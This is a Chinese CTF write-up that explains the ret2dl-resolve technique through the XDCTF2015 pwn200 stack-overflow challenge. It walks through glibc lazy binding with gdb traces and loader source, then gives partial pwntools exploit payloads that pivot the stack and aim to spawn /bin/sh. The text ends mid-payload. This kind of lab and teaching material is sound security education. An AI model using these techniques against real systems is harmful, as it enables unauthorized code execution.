# 6.1.3 pwn XDCTF2015 pwn200 - [题目复现](#题目复现) - [ret2dl-resolve 原理及题目解析](#ret2dlresolve-原理及题目解析) - [Exploit](#exploit) - [参考资料](#参考资料) [下载文件](../src/writeup/6.1.3_pwn_xdctf2015_pwn200) ## 题目复现 出题人在博客里贴出了源码，如下： ```C #include #include #include void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); } int main() { char buf[100] = "Welcome to XDCTF2015~!\n"; setbuf(stdout, buf); write(1, buf, strlen(buf)); vuln(); return 0; } ``` 使用下面的语句编译： ``` $ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c ``` checksec 如下： ``` $ checksec -f a.out RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 1 a.out ``` 在开启 ASLR 的情况下把程序运行起来： ``` $ socat tcp4-listen:10001,reuseaddr,fork exec:./a.out & ``` 这题提供了二进制文件而没有提供 libc.so，而且也默认找不到，在章节 4.8 中我们提供了一种解法，这里我们讲解另一种。 ## ret2dl-resolve 原理及题目解析 这种利用的技术是在 2015 年的论文 “How the ELF Ruined Christmas” 中提出的，论文地址在参考资料中。ret2dl-resolve 不需要信息泄露，而是通过动态装载器来直接标识关键函数的位置并调用它们。它可以绕过多种安全缓解措施，包括专门为保护 ELF 数据结构不被破坏而设计的 RELRO。而在 ctf 中，我们也能看到它的身影，通常用于对付无法获得目标系统 libc.so 的情况。 #### 延迟绑定 关于动态链接我们在章节 1.5.6 中已经讲过了，这里就重点讲一下动态解析的过程。我们知道，在动态链接中，如果程序没有开启 Full RELRO 保护，则存在延迟绑定的过程，即库函数在第一次被调用时才将函数的真正地址填入 GOT 表以完成绑定。 一个动态链接程序的程序头表中会包含类型为 `PT_DYNAMIC` 的段，它包含了 `.dynamic` 段，结构如下： ```C typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn; typedef struct { Elf64_Sxword d_tag; /* Dynamic entry type */ union { Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un; } Elf64_Dyn; ``` 一个 `Elf_Dyn` 是一个键值对，其中 `d_tag` 是键，`d_value` 是值。其中有个例外的条目是 `DT_DEBUG`，它保存了动态装载器内部数据结构的指针。 段表结构如下： ```C typedef struct { Elf32_Word sh_name; /* Section name (string tbl index) */ Elf32_Word sh_type; /* Section type */ Elf32_Word sh_flags; /* Section flags */ Elf32_Addr sh_addr; /* Section virtual addr at execution */ Elf32_Off sh_offset; /* Section file offset */ Elf32_Word sh_size; /* Section size in bytes */ Elf32_Word sh_link; /* Link to another section */ Elf32_Word sh_info; /* Additional section information */ Elf32_Word sh_addralign; /* Section alignment */ Elf32_Word sh_entsize; /* Entry size if section holds table */ } Elf32_Shdr; typedef struct { Elf64_Word sh_name; /* Section name (string tbl index) */ Elf64_Word sh_type; /* Section type */ Elf64_Xword sh_flags; /* Section flags */ Elf64_Addr sh_addr; /* Section virtual addr at execution */ Elf64_Off sh_offset; /* Section file offset */ Elf64_Xword sh_size; /* Section size in bytes */ Elf64_Word sh_link; /* Link to another section */ Elf64_Word sh_info; /* Additional section information */ Elf64_Xword sh_addralign; /* Section alignment */ Elf64_Xword sh_entsize; /* Entry size if section holds table */ } Elf64_Shdr; ``` 具体来看，首先在 write@plt 地址处下断点，然后运行： ``` gdb-peda$ p write $1 = {} 0x8048430 gdb-peda$ b *0x8048430 Breakpoint 1 at 0x8048430 gdb-peda$ r Starting program: /home/firmy/Desktop/RE4B/200/a.out [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd59c --> 0x804861b (add esp,0x10) EIP: 0x8048430 (: jmp DWORD PTR ds:0x804a01c) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048420 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a018 0x8048426 <__libc_start_main@plt+6>: push 0x18 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0 => 0x8048430 : jmp DWORD PTR ds:0x804a01c | 0x8048436 : push 0x20 | 0x804843b : jmp 0x80483e0 | 0x8048440: jmp DWORD PTR ds:0x8049ff0 | 0x8048446: xchg ax,ax |-> 0x8048436 : push 0x20 0x804843b : jmp 0x80483e0 0x8048440: jmp DWORD PTR ds:0x8049ff0 0x8048446: xchg ax,ax JUMP is taken [------------------------------------stack-------------------------------------] 0000| 0xffffd59c --> 0x804861b (add esp,0x10) 0004| 0xffffd5a0 --> 0x1 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0012| 0xffffd5a8 --> 0x17 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08048430 in write@plt () gdb-peda$ x/w 0x804a01c 0x804a01c: 0x08048436 ``` 由于是第一次运行，尚未进行绑定，`0x804a01c` 地址处保存的是 write@plt+6 的地址 `0x8048436`，即跳转到下一条指令。 将 `0x20` 压入栈中，这个数字是导入函数的标识，即一个 ELF_Rel 在 `.rel.plt` 中的偏移： ``` gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd59c --> 0x804861b (add esp,0x10) EIP: 0x8048436 (: push 0x20) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048426 <__libc_start_main@plt+6>: push 0x18 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0 0x8048430 : jmp DWORD PTR ds:0x804a01c => 0x8048436 : push 0x20 0x804843b : jmp 0x80483e0 0x8048440: jmp DWORD PTR ds:0x8049ff0 0x8048446: xchg ax,ax 0x8048448: add BYTE PTR [eax],al [------------------------------------stack-------------------------------------] 0000| 0xffffd59c --> 0x804861b (add esp,0x10) 0004| 0xffffd5a0 --> 0x1 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0012| 0xffffd5a8 --> 0x17 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048436 in write@plt () ``` 然后跳转到 `0x80483e0`，该地址是 `.plt` 段的开头，即 PLT[0]： ``` gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd598 --> 0x20 (' ') EIP: 0x804843b (: jmp 0x80483e0) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0 0x8048430 : jmp DWORD PTR ds:0x804a01c 0x8048436 : push 0x20 => 0x804843b : jmp 0x80483e0 | 0x8048440: jmp DWORD PTR ds:0x8049ff0 | 0x8048446: xchg ax,ax | 0x8048448: add BYTE PTR [eax],al | 0x804844a: add BYTE PTR [eax],al |-> 0x80483e0: push DWORD PTR ds:0x804a004 0x80483e6: jmp DWORD PTR ds:0x804a008 0x80483ec: add BYTE PTR [eax],al 0x80483ee: add BYTE PTR [eax],al JUMP is taken [------------------------------------stack-------------------------------------] 0000| 0xffffd598 --> 0x20 (' ') 0004| 0xffffd59c --> 0x804861b (add esp,0x10) 0008| 0xffffd5a0 --> 0x1 0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0016| 0xffffd5a8 --> 0x17 0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0 0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0804843b in write@plt () ``` ``` $ readelf -S a.out | grep 80483e0 [12] .plt PROGBITS 080483e0 0003e0 000060 04 AX 0 0 16 ``` 接下来就进入 PLT[0] 处的代码： ``` gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd598 --> 0x20 (' ') EIP: 0x80483e0 (push DWORD PTR ds:0x804a004) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0x80483e0: push DWORD PTR ds:0x804a004 0x80483e6: jmp DWORD PTR ds:0x804a008 0x80483ec: add BYTE PTR [eax],al 0x80483ee: add BYTE PTR [eax],al [------------------------------------stack-------------------------------------] 0000| 0xffffd598 --> 0x20 (' ') 0004| 0xffffd59c --> 0x804861b (add esp,0x10) 0008| 0xffffd5a0 --> 0x1 0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0016| 0xffffd5a8 --> 0x17 0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0 0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080483e0 in ?? () gdb-peda$ x/w 0x804a004 0x804a004: 0xf7ffd900 gdb-peda$ x/w 0x804a008 0x804a008: 0xf7fec370 ``` ``` $ readelf -S a.out | grep .got.plt [23] .got.plt PROGBITS 0804a000 001000 000020 04 WA 0 0 4 ``` 看一下 `.got.plt` 段，所以 `0x804a004` 和 `0x804a008` 分别是 GOT[1] 和 GOT[2]。继续调试： ``` gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd594 --> 0xf7ffd900 --> 0x0 EIP: 0x80483e6 (jmp DWORD PTR ds:0x804a008) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80483dd: add BYTE PTR [eax],al 0x80483df: add bh,bh 0x80483e1: xor eax,0x804a004 => 0x80483e6: jmp DWORD PTR ds:0x804a008 | 0x80483ec: add BYTE PTR [eax],al | 0x80483ee: add BYTE PTR [eax],al | 0x80483f0 : jmp DWORD PTR ds:0x804a00c | 0x80483f6 : push 0x0 |-> 0xf7fec370 <_dl_runtime_resolve>: push eax 0xf7fec371 <_dl_runtime_resolve+1>: push ecx 0xf7fec372 <_dl_runtime_resolve+2>: push edx 0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10] JUMP is taken [------------------------------------stack-------------------------------------] 0000| 0xffffd594 --> 0xf7ffd900 --> 0x0 0004| 0xffffd598 --> 0x20 (' ') 0008| 0xffffd59c --> 0x804861b (add esp,0x10) 0012| 0xffffd5a0 --> 0x1 0016| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0020| 0xffffd5a8 --> 0x17 0024| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0028| 0xffffd5b0 --> 0xffffd5ea --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080483e6 in ?? () ``` PLT[0] 处的代码将 GOT[1] 的值压入栈中，然后跳转到 GOT[2]。这两个 GOT 表条目有着特殊的含义，动态链接器在开始时给它们填充了特殊的内容： - GOT[1]：一个指向内部数据结构的指针，类型是 link_map，在动态装载器内部使用，包含了进行符号解析需要的当前 ELF 对象的信息。在它的 `l_info` 域中保存了 `.dynamic` 段中大多数条目的指针构成的一个数组，我们后面会利用它。 - GOT[2]：一个指向动态装载器中 `_dl_runtime_resolve` 函数的指针。 函数使用参数 `link_map_obj` 来获取解析导入函数（使用`reloc_index`参数标识）需要的信息，并将结果写到正确的 GOT 条目中。在 `_dl_runtime_resolve` 解析完成后，控制流就交到了那个函数手里，而下次再调用函数的 plt 时，就会直接进入目标函数中执行。 `_dl-runtime-resolve` 的过程如下图所示： ![](../pic/6.1.3_dl-resolve.png) 重定位项使用 Elf_Rel 结构体来描述，存在于 `.rep.plt` 段和 `.rel.dyn` 段中： ```C typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; typedef uint64_t Elf64_Addr; typedef uint64_t Elf64_Xword; typedef int64_t Elf64_Sxword; typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela; ``` 32 位程序使用 REL，而 64 位程序使用 RELA。 下面的宏描述了 r_info 是怎样被解析和插入的： ```C /* How to extract and insert information held in the r_info field. */ #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) #define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff)) #define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff) #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type)) ``` 举个例子： ``` ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8 ``` 每个符号使用 Elf_Sym 结构体来描述，存在于 `.dynsym` 段和 `.symtab` 段中，而 `.symtab` 在 strip 之后会被删掉： ```C typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; typedef struct { Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ } Elf64_Sym; ``` 下面的宏描述了 st_info 是怎样被解析和插入的： ```C /* How to extract and insert information held in the st_info field. */ #define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4) #define ELF32_ST_TYPE(val) ((val) & 0xf) #define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf)) /* Both Elf32_Sym and Elf64_Sym use the same one-byte st_info field. */ #define ELF64_ST_BIND(val) ELF32_ST_BIND (val) #define ELF64_ST_TYPE(val) ELF32_ST_TYPE (val) #define ELF64_ST_INFO(bind, type) ELF32_ST_INFO ((bind), (type)) ``` 所以 PLT[0] 其实就是调用的以下函数： ``` _dl_runtime_resolve(link_map_obj, reloc_index) ``` ``` gdb-peda$ disassemble 0xf7fec370 Dump of assembler code for function _dl_runtime_resolve: 0xf7fec370 <+0>: push eax 0xf7fec371 <+1>: push ecx 0xf7fec372 <+2>: push edx 0xf7fec373 <+3>: mov edx,DWORD PTR [esp+0x10] 0xf7fec377 <+7>: mov eax,DWORD PTR [esp+0xc] 0xf7fec37b <+11>: call 0xf7fe6080 <_dl_fixup> 0xf7fec380 <+16>: pop edx 0xf7fec381 <+17>: mov ecx,DWORD PTR [esp] 0xf7fec384 <+20>: mov DWORD PTR [esp],eax 0xf7fec387 <+23>: mov eax,DWORD PTR [esp+0x4] 0xf7fec38b <+27>: ret 0xc End of assembler dump. ``` 该函数在 `glibc/sysdeps/i386/dl-trampoline.S` 中用汇编实现，先保存寄存器，然后将两个值分别传入寄存器，调用 `_dl_fixup`，最后恢复寄存器： ``` gdb-peda$ x/w $esp+0x10 0xffffd598: 0x00000020 gdb-peda$ x/w $esp+0xc 0xffffd594: 0xf7ffd900 ``` 还记得这两个值吗，一个是在 `: push 0x20` 中压入的偏移量，一个是 PLT[0] 中 `push DWORD PTR ds:0x804a004` 压入的 GOT[1]。 函数 `_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)`，其参数分别由寄存器 `eax` 和 `edx` 提供。继续调试： ``` gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0xf7ffd900 --> 0x0 EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x20 (' ') ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd588 --> 0x3 EIP: 0xf7fec37b (<_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7fec372 <_dl_runtime_resolve+2>: push edx 0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10] 0xf7fec377 <_dl_runtime_resolve+7>: mov eax,DWORD PTR [esp+0xc] => 0xf7fec37b <_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup> 0xf7fec380 <_dl_runtime_resolve+16>: pop edx 0xf7fec381 <_dl_runtime_resolve+17>: mov ecx,DWORD PTR [esp] 0xf7fec384 <_dl_runtime_resolve+20>: mov DWORD PTR [esp],eax 0xf7fec387 <_dl_runtime_resolve+23>: mov eax,DWORD PTR [esp+0x4] Guessed arguments: arg[0]: 0x3 arg[1]: 0x2a8c arg[2]: 0xffffd5bc ("Welcome to XDCTF2015~!\n") [------------------------------------stack-------------------------------------] 0000| 0xffffd588 --> 0x3 0004| 0xffffd58c --> 0x2a8c 0008| 0xffffd590 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0012| 0xffffd594 --> 0xf7ffd900 --> 0x0 0016| 0xffffd598 --> 0x20 (' ') 0020| 0xffffd59c --> 0x804861b (add esp,0x10) 0024| 0xffffd5a0 --> 0x1 0028| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xf7fec37b in _dl_runtime_resolve () from /lib/ld-linux.so.2 gdb-peda$ s [----------------------------------registers-----------------------------------] EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") EBX: 0x804a000 --> 0x8049f04 --> 0x1 ECX: 0x2a8c EDX: 0x3 ESI: 0xf7f8ee28 --> 0x1d1d30 EDI: 0xffffd620 --> 0x1 EBP: 0xffffd638 --> 0x0 ESP: 0xffffd59c --> 0x804861b (add esp,0x10) EIP: 0xf7ea3100 (: push esi) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7ea30fb: xchg ax,ax 0xf7ea30fd: xchg ax,ax 0xf7ea30ff: nop => 0xf7ea3100 : push esi 0xf7ea3101 : push ebx 0xf7ea3102 : sub esp,0x14 0xf7ea3105 : mov ebx,DWORD PTR [esp+0x20] 0xf7ea3109 : mov ecx,DWORD PTR [esp+0x24] [------------------------------------stack-------------------------------------] 0000| 0xffffd59c --> 0x804861b (add esp,0x10) 0004| 0xffffd5a0 --> 0x1 0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") 0012| 0xffffd5a8 --> 0x17 0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) 0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xf7ea3100 in write () from /usr/lib32/libc.so.6 ``` 即使我们使用单步进入，也不能调试 `_dl_fixup`，它直接就执行完成并跳转到 write 函数了，而此时，GOT 的地址已经被覆盖为实际地址： ``` gdb-peda$ x/w 0x804a01c 0x804a01c: 0xf7ea3100 ``` 再强调一遍：fixup 是通过寄存器取参数的，这似乎违背了 32 位程序的调用约定，但它就是这样，上面 gdb 中显示的参数是错误的，该函数对程序员来说是透明的，所以会尽量少用栈去做操作。 既然不能调试，直接看代码吧，在 `glibc/elf/dl-runtime.c` 中： ```C DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { // 分别获取动态链接符号表和动态链接字符串表的基址 const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); // 通过参数 reloc_arg 计算重定位入口，这里的 DT_JMPREL 即 .rel.plt，reloc_offset 即 reloc_arg const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 根据函数重定位表中的动态链接符号表索引，即 reloc->r_info，获取函数在动态链接符号表中对应的条目 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW(Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; /* Sanity check that we're really looking at a PLT relocation. */ assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); /* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */ if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) { const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; } /* We need to keep the scope around so do some locking. This is not necessary for objects which cannot be unloaded or when we are not using any threads (yet). */ int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif // 根据 strtab+sym->st_name 在字符串表中找到函数名，然后进行符号查找获取 libc 基址 result result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL); /* We are done with the global scope. */ if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif /* Currently result contains the base load address (or link map) of the object that defines sym. Now add in the symbol offset. */ // 将要解析的函数的偏移地址加上 libc 基址，得到函数的实际地址 value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0); } else { /* We already found the symbol. The module (and therefore its load address) is also known. */ value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } /* And now perhaps the relocation addend. */ value = elf_machine_plt_value (l, reloc, value); // 将已经解析完成的函数地址写入相应的 GOT 表中 if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0)) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); /* Finally, fix up the plt itself. */ if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); } ``` #### 攻击 关于延迟绑定的攻击，在于强迫动态装载器解析请求的函数。 ![](../pic/6.1.3_attack.png) - 图a中，因为动态转载器是从 `.dynamic` 段的 `DT_STRTAB` 条目中获得 `.dynstr` 段的地址的，而 `DT_STRTAB` 条目的位置已知，默认情况下也可写。所以攻击者能够改写 `DT_STRTAB` 条目的内容，欺骗动态装载器，让它以为 `.dynstr` 段在 `.bss` 段中，并在那里伪造一个假的字符串表。当它尝试解析 printf 时会使用不同的基地址来寻找函数名，最终执行的是 execve。这种方式非常简单，但仅当二进制程序的 `.dynamic` 段可写时有效。 - 图b中，我们已经知道 `_dl_runtime_resolve` 的第二个参数是 Elf_Rel 条目在 `.rel.plt` 段中的偏移，动态装载器将这个值加上 `.rel.plt` 的基址来得到目标结构体的绝对位置。然后当传递给 `_dl_runtime_resolve` 的参数 `reloc_index` 超出了 `.rel.plt` 段，并最终落在 `.bss` 段中时，攻击者可以在该位置伪造了一个 `Elf_Rel` 结构，并填写 `r_offset` 的值为一个可写的内存地址来将解析后的函数地址写在那里，同理 `r_info` 也会是一个将动态装载器导向到攻击者控制内存的下标。这个下标就指向一个位于它后面的 `Elf_Sym` 结构，而 `Elf_Sym` 结构中的 `st_name` 同样超出了 `.dynsym` 段。这样这个符号就会包含一个相对于 `.dynstr` 地址足够大的偏移使其能够达到这个符号之后的一段内存，而那段内存里保存着这个将要调用的函数的名称。 还记得我们前面说过的 GOT[1]，它是一个 link_map 类型的指针，其 `l_info` 域中有一个包含 `.dynmic` 段中所有条目构成的数组。动态链接器就是利用这些指针来定位符号解析过程中使用的对象的。通过覆盖这个 link\_map 的一部分，就能够将 `l_info` 域中的 `DT_STRTAB` 条目指向一个特意制造的动态条目，那里则指向一个假的动态字符串表。 ![](../pic/6.1.3_link_map.png) #### pwn200 获得了 re2dl-resolve 所需的所有知识，下面我们来分析题目。 首先触发栈溢出漏洞，偏移为 112： ``` gdb-peda$ pattern_offset 0x41384141 1094205761 found at offset: 112 ``` 根据理论知识及对二进制文件的分析，我们需要一个 read 函数用于读入后续的 payload 和伪造的各种表，一个 write 函数用于验证每一步的正确性，最后将 write 换成 system，就能得到 shell 了。 ```python from pwn import * # context.log_level = 'debug' elf = ELF('./a.out') io = remote('127.0.0.1', 10001) io.recv() pppr_addr = 0x08048699 # pop esi ; pop edi ; pop ebp ; ret pop_ebp_addr = 0x0804869b # pop ebp ; ret leave_ret_addr = 0x080484b6 # leave ; ret write_plt = elf.plt['write'] write_got = elf.got['write'] read_plt = elf.plt['read'] plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0 rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390 dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028 base_addr = bss_addr + 0x600 # 0x804a628 ``` 分别获取伪造各种表所需要的段地址，将 bss 段的地址加上 0x600 作为伪造数据的基地址，这里可能需要根据实际情况稍加修改。gadget pppr 用于平衡栈， pop ebp 和 leave ret 配合，以达到将 esp 指向 base_addr 的目的（在章节3.3.4中有讲到）。 第一部分的 payload 如下所示，首先从标准输入读取 100 字节到 base_addr，将 esp 指向它，并跳转过去，执行 base\_addr 处的 payload： ```python payload_1 = "A" * 112 payload_1 += p32(read_plt) payload_1 += p32(pppr_addr) payload_1 += p32(0) payload_1 += p32(base_addr) payload_1 += p32(100) payload_1 += p32(pop_ebp_addr) payload_1 += p32(base_addr) payload_1 += p32(leave_ret_addr) io.send(payload_1) ``` 从这里开始，后面的 paylaod 都是通过 read 函数读入的，所以必须为 100 字节长。首先，调用 write@plt 函数打印出与 base_addr 偏移 80 字节处的字符串 "/bin/sh"，以验证栈转移成功。注意由于 `.dynstr` 中的字符串都是以 "\x00" 结尾的，所以伪造字符串为 "bin/sh\x00"。 ```python payload_2 = "AAAA" # new ebp payload_2 += p32(write_plt) payload_2 += "AAAA" payload_2 += p32(1) payload_2 += p32(base_addr + 80) payload_2 += p32(len("/bin/sh")) payload_2 += "A" * (80 - len(payload_2)) payload_2 += "/bin/sh\x00" payload_2 += "A" * (100 - len(payload_2)) io.sendline(payload_2) print io.recv() ``` 我们知道第一次调用 write@plt 时其实是先将 reloc_index 压入栈，然后跳转到 PLT[0]： ``` gdb-peda$ disassemble write Dump of assembler code for function write@plt: 0x08048430 <+0>: jmp DWORD PTR ds:0x804a01c 0x08048436 <+6>: push 0x20 0x0804843b <+11>: jmp 0x80483e0 End of assembler dump. ``` 这次我们跳过这个过程，直接控制 `eip` 跳转到 PLT[0]，并在栈上布置上 reloc_index，即 `0x20`，就像是调用了 write@plt 一样。 ```python reloc_index = 0x20 payload_3 = "AAAA" payload_3 += p32(plt_0) payload_3 += p32(reloc_index) payload_3 += 